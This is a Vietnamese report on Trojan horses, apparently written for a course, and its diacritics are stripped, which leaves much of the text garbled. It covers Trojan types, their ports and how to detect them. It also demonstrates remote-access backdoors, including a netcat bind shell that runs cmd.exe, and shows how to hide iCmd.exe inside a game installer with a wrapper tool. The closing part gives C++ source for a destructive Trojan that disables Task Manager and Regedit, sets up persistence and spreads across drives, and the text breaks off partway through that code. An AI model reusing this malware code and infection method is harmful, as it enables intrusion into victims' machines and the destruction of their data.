Tm hiu v Virut Trojan

MC LCA.Tm hiu v Trojan11.Khi nim Trojan12. Phn loi Trojan3a.Trojan iu khin t xa :RAT3b.Keyloggers:3c.Trojann trm password4d.FTPtrojan4e.Trojanph hoi:4f.Trojanchim quyn kiu leo thang:43.Cch thc hot ng ca Trojan44.Nhng cch nhn bit mt my tnh b nhim Trojans C bn nht5a. Pht hin Port s dng bi Trojans6b. Cch pht hin cc chng trnh ang chy8c. Tm mt chng trnh chy lc khi ng95.S dng mt s loi Trojan10a. Trojan Tini10b. iCmd Trojan11c. Netcat Trojan.12d. HTTP RAT14e. ICMP Trojan156. Cch n mt hoc nhiu Trojan vo mt file .exe hay file chy bnh thng167.Cch phng chng Trojans20B. Demo Trojan201.Nhim v ca Trojan202. Hnh nh demo23C.Kt lun25

A. Tm hiu v Trojan1. Khi nim Trojan Hin nay , lc lng cc hacker ang pht trin tng ngy cn cc cracker th pht trin vi mt tc khng th tng tng ni . Khng th tn ti mt h thng no trn th gii l khng th b tn cng . Mt my tnh c nhn l mt mc tiu rt n gin m 1 cracker vi khng nhiu hiu bit v my tnh cng c th tn cng , v vy cng l l do ti sao cracker pht trin manh m n nh vy . nh ngha v virus- L mt tp hp cc ch dn.- c to ra mt cch c .- C kh nng t nhn bn.- Gy ra nhng tc ng khng mong mun.c im ca virus my tnh- Khng th tn ti c lp m phi da vo mt ng dng nn no .- T nhn bn khi ng dng ch c kch hot.- C mt thi k nm ch (ging nh bnh). Trong thi gian ny khng gy hu qu.- Sau thi k nm vng mi bt u pht tc.Mt s hnh thc th hin ca virus- Cc ng dng trn my bt ng hoc t t chy chm li.-Nhng bin i khng th l gii v dung lng ca cc ng dng trong cc file c ui .EXE, .COM, .BAT, .SYS, .OVL.- Nhng ng thi bt thng ca my tnh, nht l khi bn ang chy mt chng trnh m bnh thng khng c vn g.- Mt chng trnh no khng th ci chnh xc d liu t a ngun.Khi nim v trojan:Cc hacker c kh nng vit ra cc trojan v t th nghim cn cc cracker c kh nng s dng trojan mt cch hiu qu , k nng ca h hn nn nhn chnh l kh nng s dng trojan .Nga trojan ra i trong truyn thuyt Hy Lp c i vo th k th 12, khi qun Hy lp khng th h ni thnh ch , h gi v tng qun ch mt ch nga g khng l . Sau khi ch nga g c em vo thnh , na m qun Hy Lp trong bng ch nga g chui ra v tn cng tiu dit qun ch mt cch bt ng , nh mu ny m h h c thnh gic.Trong th gii tin hc , khi nim Nga trojan ra i t khi CDC(Cult of the Dead Cow) to ra Back Orifice , mt trojan ni ting nht t trc n sau ny , c cng xm nhp l 31337. Trojan l cc chng trnh hot ng nhm chng li hoc gy tn hi n ngi dng my tnh , chng c v ngoi hp php nhng lun c mt xu xa bn trong . Cc chng trnh ny thng lm vic b mt v ngi dng thng khng nhn ra s hot ng ca chng . Chng c th gii hn quyn ca ngi dng ti mc ti a . Tt c trojan u c cc hacker dng cho mc ch ring no ca h . Hu ht trong s ny l thit lp quyn iu khin t xa RATs ( Remote Adminitration Tools ) .Khng ging nh cc virus , trojan thng khng t nhn bn m ch chy ngm trong my tnh ca nn nhn . C trojan trong my tnh bn l mt him ho v thc thi chng gy ra nhng li khc nhau , thng thng nht v t hi nht l lm chm tc my tnh ca bn , nghim trng hn l chng c th lm mt quyn sa registry ( lu cc thng tin ca Windows ) , lm treo my hay format li a .Ngy nay Trojan , trojan lun lun l vn ln trong bo mt v an ton trn mng. Nhiu ngi khng bit Trojan l g v h ti xung nhng file m khng bit r ngun gc. Hin nay, Trojan rt nhiu v cn rt rt nhiu na, v mi Hacker, lp trnh vin hay mi nhm Hacker u vit trojan ring cho mnh v nhng con trojan ny s khng c cng b ln mng cho n khi n b pht hin.. Khi mt ngi no bt u hc Winsock, u tin h to ra mt chng trnh chat hay mt con trojan. Thm ch mt chuyn vin antivirus cng c th b nhim trojan ca chnh mnh, hay ca mt hacker no .VyTrojan nguy him nh th no?-Nhiu ngi, khng bit trojan l g th ngh rng khi chy chng,h khng thy Iu g xy ra, v h ngh rng trojan khng c g nguy him, bi v my tnh ca h vn lm vic v tt c d liu vn cn ,nu l mt con virus th d liu c th mt sch hay my ngng hot ng.-Khi my bn b nhim trojan, tt c d liu trn my u c th b nguy him, thng th hacker khng xa tt c h s ny m h s chp v khai thc nh ti liu b mt ca cng ty, ti khon internet, credit card v khi khng c g khai thc, c th hacker xa sch d liu ca bn. i khi hacker cn dng trojan ci t virus ph hoi nh CIH chng hn . l mt vi VD hacker c th thc hin khi h ci thnh cng trojan.2. Phn loi TrojanC 6 loi Trojan c bn l : Loi iu khin t xa(RAT) Keyloggers Trojan ly cp password FTP trojanse Trojan ph hoi Trojan chim quyn kiu leo thanga. Trojan iu khin t xa :RATng vai tr nh mt server trn my tnh ca bn v to iu kin cho hacker kt ni vi my tnh ca bn v thc hin cc lnh khc nhau . D bn c vi hiu bit v loi trojan ny th bn cng kh c th nhn ra c n c tn ti trong my tnh ca bn khng bi v cc trojan pht trin lin tc hng ngy v cng tr nn hiu qu hn . Nhng trojan tt c th to iu kin cho cc hacker quyn iu khin thm ch cao hn chnh bn thn bn v chng t ng kch hot mi khi bn khi ng my tnh.S dng trojan loi ny kh n gin , chng thng gm 2 file server v client , mi khi ti chng v , bn ch cn c mc Help ca chng l c th bit cch s dng . Cc tnh nng ca trojan loi ny cng ngy cng cao hn , v d nh trojan girl-friend c th ngn khng cho nn nhn tt my tnh , hin th text ln mn hnh , biu din m thanh , hnh nh , download , upload file t server , thm ch l cht cng vi nn nhn Nhng mi khi s dng chng thng bn phi ngy trang chng di dng 1 file nh v giu ci ui exe ca chng i .Cch thc lm vic ca trojan RAT :RAT trojan thng n nu trong cc chng trnh ln , v vy mi khi bn chy chng trnh ny , trojan s t ng c kch hot . Mi RAT thng chy server di mt cng ring bit , cng ny cho php hacker thm nhp vo my ca bn v lm mi th m anh ta cm thy thch th . Cc trojan khi xm nhp vo trong my tnh thng to ra 1 file thc thi no hoc ghi thm dng lnh t kch hot vo trong file win.ini , c th bn bit c file l trojan nhng cng khng th v hiu ho ni n bng nhng cch thng thng . Thng th bn khng th xo n i v cng khng th vo trong registry xo v chng thng lm mt chc nng edit registry ca h iu hnh . l cha k n vic nhiu loi trojan l c th kch hot di nhng tn file l m bn khng h ngh l trojan m c tng l file thc thi ca h iu hnh .Ngi ta c th s dng RAT iu khin , qun l t xa my tnh ca chnh bn thn h , nhng lun phi cn thn v RAT c th gy ra nhng tc hi m chnh ta cng khng bit trc .V d loi ny : Back Orifice, girlfriend , Net Bus .b. Keyloggers:Hot ng ca loi ny kh n gin , chng ghi li mi din bin trn bn phm bao gm c cc password nh password account internet , password hm th , password FTP v lu trong my bn hoc gi v mt a ch email no ca hacker .Keyloggers thng nh gn v s dng rt t b nh nn rt kh c th nhn ra chng .V d v loi ny nh : Kuang Keyloggerc. Trojann trm password :c tt c mt khu lu trong cache v thng tin v my nn nhn ri gi v cho hacker mi khi nn nhn online. Trojan ny n cp password lu trong my bn nh pass ICQ, IRC , hotmail , yahoo , account internet hoc tt c cc pass trn gi v cho hacker qua email .V d trojan loi ny : Barri, kuang , barok .d. FTPtrojanLoi ny m cng 21 trn my bn v mi ngi u c th truy cp vo my ca bn m khng cn mt khu v c th ti file trn my ca bn v . e. Trojanph hoi:Chng hu nh khng c mc ch g ngoi vic ph hoi my tnh ca bn . Loi ny c th ph hu ton b a cng , m ho cc file . C th mt ngy no bn dng trojan ny tru a thng bn ca bn m khng nhn ra nhng tc hi ca n , bn ch c th nhn ra khi chnh bn b dnh n. Loi trojan ny rt d s dng , nhng con trojan ny ch c mt nhim v duy nht l git v tiu dit tt c file trn my bn ( VD file .exe, .dll, .ini . )Nhng con trojan ny rt nguy him v khi my bn b nhim ch mt ln thi th tt c d liu mt sch .f. Trojanchim quyn kiu leo thang:Thng c s dng i vi cc admin km ci . Chng c th c gn vo trong mt ng dng h thng . Mt khi ngi qun tr h thng chy chng , chng s to cho hacker quyn cao hn trong h thng , nhng trojan ny c th c gi ti nhng ngi dng c t quyn v cho h quyn xm nhp h thng .Cn c 1 s loi trojan na trong bao gm c nhng chng trnh to ra ch chc gho , chng c th ra mt thng bo i loi nh my tnh ca bn dnh virus v cng ca bn s b format , password ca bn b mt .. nhng k thc y c khi ch l tr a v hi ca nhm lp trnh vin chng trnh .3. Cch thc hot ng ca TrojanCch thc vn hnh ca trojan kh l n gin , thng chng gm 2 thnh phn l client v server , khi my nn nhn b ly nhim trojan th chng s bin thnh server v mt cng s b m ra , chng ta s dng client kt ni ti IP ca nn nhn . Server s n trong b nh v n to nn nhng thay i trong h thng . N s to thm ng khi ng vo registry hoc trong cc file autoexec.bat , win.ini hoc cc file h thng khc , do vy m server s t khi ng khi windows lm vic trong phin tip theo. Cch ph bin nht l phng thc thay i registry trong kho sau:[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]"Server"="C:\\WINDOWS\\server.exe"Trojan s t ng copy chnh n vo trong th mc Windows hoc Windows\System . y c gi l phng thc ly nhim . File server mt khi c nn nhn kch hot s t bin mt , nh vy d nn nhn c ti gii ti u th cng khng nhn ra c s tn ti ca trojan nhng ln tip theo . File server s ghi li IP hin thi v cng thit lp email gi v cho hacker .Mt khi b ly nhim th trojan s m cng v nh vy client c th kt ni ti my nn nhn v hacker c th lm mi vic theo mun ca anh ta .Nhng con ng my tnh nn nhn nhim Trojan.- Qua cc ng dng CHAT online nh IRC Interney Relay Chat- Qua cc file c nh km trn Mail- Qua tng vt l nh trao i d liu qua USB, CD, HDD- Khi chy mt file b nhim Trojan .- Qua NetBIOS FileSharing .- Qua nhng chng trnh nguy him .- T nhng trang web khng tin tng hay nhng website cung cp phn mm min ph .- N c kh nng n trong cc ng dng bnh thng, khi chy ng dng lp tc cng chy lun Trojans.4. Nhng cch nhn bit mt my tnh b nhim Trojans C bn nht

- CD-ROM t ng m ra ng vo.- My tnh c nhng du hiu l trn mn hnh.- Hnh nn ca cc ca s Windows b thay i- Cc vn bn t ng in- My tinh t ng thay i font ch v cc thit lp khc- Hnh nn my tnh t ng thay i v khng th i li.- Chut tri, chut phi ln ln.- Chut khng hin th trn mn hnh.- Nt Start khng hin th.- Mt vi ca s cht bt ra Cc Port s dng bi cc Trojan ph bin.- Back Orifice S dng UDP protocol S dng Port 31337 v 31338- Deep Throat S dng UDP protocol S dng Port 2140 v 3150- NetBus S dng TCP Protocol S dng Port 12345 v 12346- Whack-a-mole S dng TCP Qua Port 12361 v 12362- Netbus 2 Pro S dng TCP Qua Port 20034- GrilFriend - S dng Protocol TCP Qua Port 21544- Masters Paradise - S dng TCP Protocol qua Port 3129, 40421,40422, 40423 v 40426

nhn bit nhng Port no trn my tnh ang Active chng ta dng cu lnh:

Netstat an

Cch pht hin TrojanC ba nguyn l ca bt k chng trnh Trojan no:- Mt trojan mun hot ng phi lng nghe cc request trn mt cng no - Mt chng trnh ang chy s phi c TN trong Process List- Mt chng trnh Trojan s lun chy cng lc khi my tnh khi ng.a. Pht hin Port s dng bi Trojans- Dng cu lnh Netstat an trong windows bit ht thng ang lng nghe trn cc port no

+ Hnh di ta thy c port 7777 th ra l port ca Tini Trojan+ My khng s dng port no l 8800 nhng ang ch nghe v c my ang kt ni n n .

- Dng phn mm Fport- Dng phn mm TCPViewTht may ta c th xem ton b cc port ang s dng v chng trnh g , ta ang s dng port no.

T y ti c th kim tra cc dch v mng ca ti vi nhng Port nghi ng ti c th dng Firewall ng li.

b. Cch pht hin cc chng trnh ang chy- Dng phn mm Process Viewer tt c cc Process s c hin th d c ang chy ch n v khng hin trn Task Manager ca Windows.

c. Tm mt chng trnh chy lc khi ng- Trong Satup- Trong Registry: a s s nm ti y: Chng ta s dng cu lnh Msconfig trong Table Starup chng trnh no mun chy t ng s phi nm ti y.Trong v d ny ti thy c file nc.exe chy lc khi ng v tr ca n l ti folder c:\vnexperts.net

5. S dng mt s loi TrojanVi mc ch ca bi vit cc bn hiu v Trojan, s dng Trojan l mt trong nhng ni dung c bn ca nghin cu v bo mt.Khi bit cch s dng v cch hot ng ca cc loi Trojan bn c th t a ra cc gii php an ninh mng cho doanh nghip ca mnh cng nh nhng d liu quan trng ca chng ta. Trong phn ny ti xin gii thiu nhng loi Trojan sau:- Tini- iCmd- Netcat- HTTP RATa. Trojan TiniBt k mt my tnh no nu b nhim Trojan ny u cho php Telnet qua Port 7777 khng cn bt k thng tin xc thc no.- Trojan ny nhim vo h thng th ch cn chy mt ln hoc Enter file l OK mi th hon tt v i nhng thng tin Telnet ti port 7777.- Trn my 192.168.1.33 chy file tini.exe gi ti ng trn bt k my no cng c th dng lnh: Telnet 192.168.1.33 7777 l c th console vo c my .

b. iCmd TrojanTng t nh Tini Trojan nhng khc mt iu l cho php la chn port telnet v Password truy cp vo my b nhim trojan ny.VD: My b nhim Trojan chy file iCmd.exe vi cu lnh- iCmd.exe vne 8080C ngha my ny enable telnet trn port 8080 v password l "vne"Trong v d ny ti file: iCmd.exe ti th mc vnexperts.net trn C:\

- Trn my khc ti c th telnet ti my ny vi cu lnh:- Telnet port .- Nh v d trn ti g: telnet 192.168.1.33 8080H thng bt ti nhp password ti g vne vo v Enter

V kt qu

c. Netcat Trojan.Trojan ny cho php chng ta la chn kh nhiu Options nh Port, chy ch n, cho php telnet . chy Trojan ny ti g cu lnh:Nc.exe L p -t e-L l hot ng ch nghe-p l Port s dng nghe.-t cho php s dng Telnet-e chy mt chng trnh no .Trn v d ny ti chy vi cu lnh- Nc.exe L p 8800 t e cmd.exe

Gi th ti c th ng bt k trn my no c th telnet ti my ny qua cng 8800, v hon ton c th kim sot c my tnh qua giao din command line.

d. HTTP RATVi tnh nng hot ng nh mt Web Server c lp trnh sn cho php qun l my tnh trn giao din Web. Bn hon ton c th thc hin c trn Internet, khi mt my nhim Trojan ny s t ng gi mail v cho bn qua cu hnh.

Gi ng trn bt k my no bn cng c th vo my ny qua ca s ca mt trnh duyt web bt k:http://192.168.1.33

Ti c th chy xa hay download bt k file no t my nn nhn

e. ICMP TrojanS dng tunnel l ICMP gn nh c s ng ca bt k firewall no hay cc h thng.

- Trn my nn nhn s dng ICMP Trojan Server chng ta phi ci Trojan ny vi cu lnh

- Ngi trn bt k my no bn s dng ICMPsend remote ti h thng b nhim ICMP trojan

Trn thc t cn rt nhiu loi Trojan, trong bi bo coS ny ti ch Demo mt s loi Trojan dng trainning m thi.6. Cch n mt hoc nhiu Trojan vo mt file .exe hay file chy bnh thngMy phn bn trn l cch s dng Trojan c bn. V d bn mun s dng con trojan l iCmd.exebn phi lm th no?Copy file vo my v chy vi cu lnh iCmd.exe vne 8800? iu ny khng th thc hin bi ai cho bn ngi trn my .Vy lm th no ly nhim Trojan ny vo my ca nn nhn?Tht khng may nhng k tn cng khn ngoan n mt hay nhiu Trojan vo mt file Exe bnh thng, nh mt chng trnh c, mt file exe b ci windows, file chy ca cc phn mm min ph m c khi n lun vo b ci cc chng trnh dit virus.Cch n Trojan vo file .exe l cng ngh Wrapper. Cc phn mm thng dng:

- One file EXE Maker- Yet Another Binder- Pretator Wrapper.S dng One file EXE Maker du v chy file iCmd.exeDownload b ci ca phn mm ny ci ra my sau l chy ghp cc file

File EXE m ti la chn l mt chng trnh c Caro rt ph bin Fiver6_8.exe.- File c caro ti chy bnh thng- file iCmd.exe ti chy n v copy vo h thng- Cu lnh thm trn file iCmd.exe ti chn l vne 8800 cho php telnet vo port 8800 v password l vne.

Nhn Save hon thnh qu trnh.- Ti save ra vi tn l caro.exe

Nhn dung lng ca file ti thy:

- iCmd.exe dung lng 36KB

- Fiver6_8_en.exe dung lng 310K

- Caro.exe c to t hai file trn dung lng 353KB

Gi ti th chy file Caro.exeCh c ca s nh c caro c bt ra nhng c mt file iCmd.exe c hot ng, kim tra trong Task Manager:

ng trn bt k my no ti cng c th remote ti my ny qua port 8800 v password l vne

7. Cch phng chng Trojans - Khng s dng cc phn mm khng tin tng (i khi tin tng vn b dnh Trojans) .

- Khng vo cc trang web nguy him, khng ci cc ActiveX v JavaScript trn cc trang web bi c th s nh km Trojans .- Ti quan trng l phi update OS thng xuyn .- Ci phn mm dit virus uy tn: Avast, Kaspersky Internet Security, Norton Internet Security, v Mcafee Total Security, nhng nghe ni cn rt nhiu phn mm dit Virus v chng Trojan hay khc. Sau khi ci cc phn mm ny bn hy update n thng xuyn.

B.Demo Trojan 1.Nhim v ca Trojan y l 1 con Trojan thuc dng Trojan ph hoi . Chc nng chnh c n l delete cc file h thng trong C , lm cho my tnh mt cc file h thng . Do deltete tt c cc file trong C:\ nn virut chy hi lu v phc thuc vo tc ca my . Vi chip Core i5 v Ram 1Gb n s delete ht cc file trong vng 1h . Virut c vit bng ngn ng VC++ . Sau y l 1 s cng vic chnh ca n .

Trc tin n kha mt s chc nng trong my thng qua Registry Editor: void Disable(){ RegCreateKeyA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey); RegCloseKey(hkey); RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0,KEY_ALL_ACCESS,&hkey); RegSetValueEx(hkey,"DisableRegistryTools",0,REG_DWORD,(BYTE*)&Value,sizeof(DWORD)); RegCloseKey(hkey);

RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0,KEY_SET_VALUE,&hkey2); RegSetValueEx(hkey2,"DisableTaskmgr",0,REG_DWORD,(BYTE*)&Value,sizeof(DWORD)); RegCloseKey(hkey2);

RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0,KEY_ALL_ACCESS,&hkey); RegSetValueEx(hkey,"NoFolderOptions",0,REG_DWORD,(BYTE*)&Value,sizeof(DWORD)); RegCloseKey(hkey);}Sau ly lan vo tt c cc a cng trong h thng v to key khi ng cng windows ti ni n c ly lan vo v kch hot.void LayLan(){ GetSystemDirectoryA(PathCreate,1000); strcat(PathCreate,FileName); CopyFileA("AnhYeuEm.exe",PathCreate,false); SetFileAttributesA(PathCreate,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM); RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey); RegSetValueEx(hkey,"FIX",0,REG_SZ,(const unsigned char*)PathCreate,sizeof(PathCreate)); RegCloseKey(hkey); GetModuleFileNameA(NULL,PathCreate,1000); RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey); RegSetValueEx(hkey,"Run",0,REG_SZ,(const unsigned char*)PathCreate,sizeof(PathCreate)); RegCloseKey(hkey); DWORD DriveType; char* DriveLetter[10] = {"C:\\","D:\\","E:\\","F:\\","G:\\","H:\\","I:\\","J:\\","K:\\","L:\\"}; for (int i = 0;i < 10;i++){ DriveType = GetDriveType(DriveLetter[i]); if (DriveType == DRIVE_FIXED){ LayDrive(DriveLetter[i]); } }}Tip n l to mt file Autorun.inf ti ni n c ly lanvoid CreateAutorun(){ char CurDir[200]; GetCurrentDirectoryA(1000,CurDir); strcat(CurDir,"\\Autorun.inf"); File.open(CurDir,ios::out); SetFileAttributesA(CurDir,FILE_ATTRIBUTE_NORMAL); File